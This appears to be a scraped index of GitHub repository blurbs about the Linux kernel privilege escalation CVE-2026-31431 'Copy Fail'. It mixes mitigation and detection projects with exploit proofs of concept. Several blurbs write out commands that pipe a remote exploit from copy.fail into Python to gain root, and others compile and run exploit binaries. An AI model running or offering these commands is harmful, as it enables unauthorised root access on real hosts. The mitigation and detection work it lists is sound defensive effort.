copy-fail-CVE-2026-31431

reference: https://xint.io/blog/copy-fail-linux-distributionsthe-demo-5...

copy_fail_mitigation

copyfailmitigation 1. This script will attempt to mitigate the copyfail attack. CVE-2026-31431 2. Works on all Debian/Ubuntu Arch based platforms i.e. Kali, ParrotSec, BlackArch Usage: 3. cd 4. chmod +x copyfailmitigation.sh 5. Recommended to run as root 6. ./copyfailmitigation.sh...

CVE-2026-31431-

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copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

Paranoid-Copy-Fail-CVE-2026-31431

================================ Paranoid AFALG hardening script ================================ Blocks all user-space kernel crypto interfaces AFALG + algif modules Mitigates CVE-2026-31431 and reduces future attack surface Safe for normal systems SSH, TLS, LUKS, WireGuard Only breaks rare apps...

CVE-2026-31431-patch

CVE-2026-31431-patch A temporary mitigation for CVE-2026-31431 vulneribility git clone https://github.com/rshosting/CVE-2026-31431-patch.git cd CVE-2026-31431-patch sh checkaead.sh Once server is back from reboot execute below script: sh completeaead.sh...

copyfail-rs

copyfail-rs Copy Fail exploit CVE-2026-31431 but in Rust, a critical vulnerability chaining AFALG and splice to achieve a 4-byte page cache write, leading to local privilege escalation on major Linux distributions. Based on the research and PoC by Xint Code. Disclaimer !CAUTION This project is fo...

CVE-2026-31431-exploit_py2_py3

CVE-2026-31431-exploitpy2py3 A CVE-2026-31431 script compatible with both Python 2 and Python 3 Usage: python2/3 exploitpy2py3.py escalate Reference from: https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...

CVE-2026-31431.c

CVE-2026-31431.c This content is provided for educational purposes only. The author assumes no responsibility or liability for any errors or omissions in the content. All information is provided "as is" with no guarantees of completeness, accuracy, usefulness, or timeliness. Any action you take...

copy-fail-CVE-2026-31431-C

copy-fail-CVE-2026-31431-C Verified on ubuntu 24,ubuntu 25,kali 2026. gcc -o exploit exploit.c -lz && chmod +x exploit && ./exploit Static compilation sudo apt install zlib1g-dev gcc -static -o exploit exploit.c -lz or aarch64-linux-gnu-gcc -o exploit exploit.c -lz -static...

COPY-FAIL-Detection-with-Wazuh-4.14.4

COPY FAIL Detection with Wazuh 4.14.4 - CVE-2026-31431 Detection engineering for the Copy Fail kernel LPE · Ubuntu / RHEL / SUSE / Amazon Linux 2023 / Kali What is Copy Fail? CVE-2026-31431 is a logic bug in the Linux kernel's authencesn cryptographic template. It allows any unprivileged local us...

CopyFail-Patcher

Patcher script for CVE-2026-31431 This repo provide script for the CopyFail vulnerability, for Debian/Ubuntu/RHEL/Fedora, didn't test on other distros but anyway... Just follow these : $ git clone https://github.com/mhdgning131/CopyFail-Patcher.git $ cd CopyFail-Patcher $ chmod +x patchcopyfail.s...

copyfailautopatch

copyfailautopatch Detect and optionally mitigate CVE-2026-31431 "Copy Fail" on a Linux host. The vulnerability is a page-cache write primitive reachable through the AFALG socket family using the authencesnhmacsha256,cbcaes AEAD transform. This script reproduces the same primitive Theori...

CVE-2026-31431-old-python

CVE-2026-31431 fork from: https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copyfailexp.py Problem Python versions below 3.10 does not have os.splice implementation. Solution Ctypes python wrapper for splice that can work on old Python versions Tested on python 3.7.3...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...

CVE-2026-31431-Golang

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copy-fail-cve-2026-31431

CVE Checker for Copy Fail CVE-2026-31431 Authors/Contributors : Patrick Doyle Author/Maintainer, Effie Renard Co-Author, Kimberly-Lee Banks Co-Author, Chris F. Support/Code Review AI Disclosure : Claude Code used for writing tests files, writing test data, and a code security review. All edits we...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Technical Writeup Tested Distro / Version Distro| Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el101 SUSE 16| 6.12.0-160000.9-default...

harden-docker-seccomp

harden-docker-seccomp Idempotent script to block AFALG socket creation for all Docker containers on a host as mitigation for CVE-2026-31431 "Copy Fail". Background CVE-2026-31431 is a local privilege escalation in the Linux kernel's authencesn cryptographic template, present in kernels built...

copyfail-rs

copyfail-rs Multi-vector PoC + paired detection for CVE-2026-31431 CopyFail. Includes a novel PAM auth-bypass vector that no other public PoC ships. Detection mode catches what AIDE / Wazuh / OSSEC / Tripwire structurally cannot. Single static binary. 108 KB. nostd musl. Demo noot@host:$...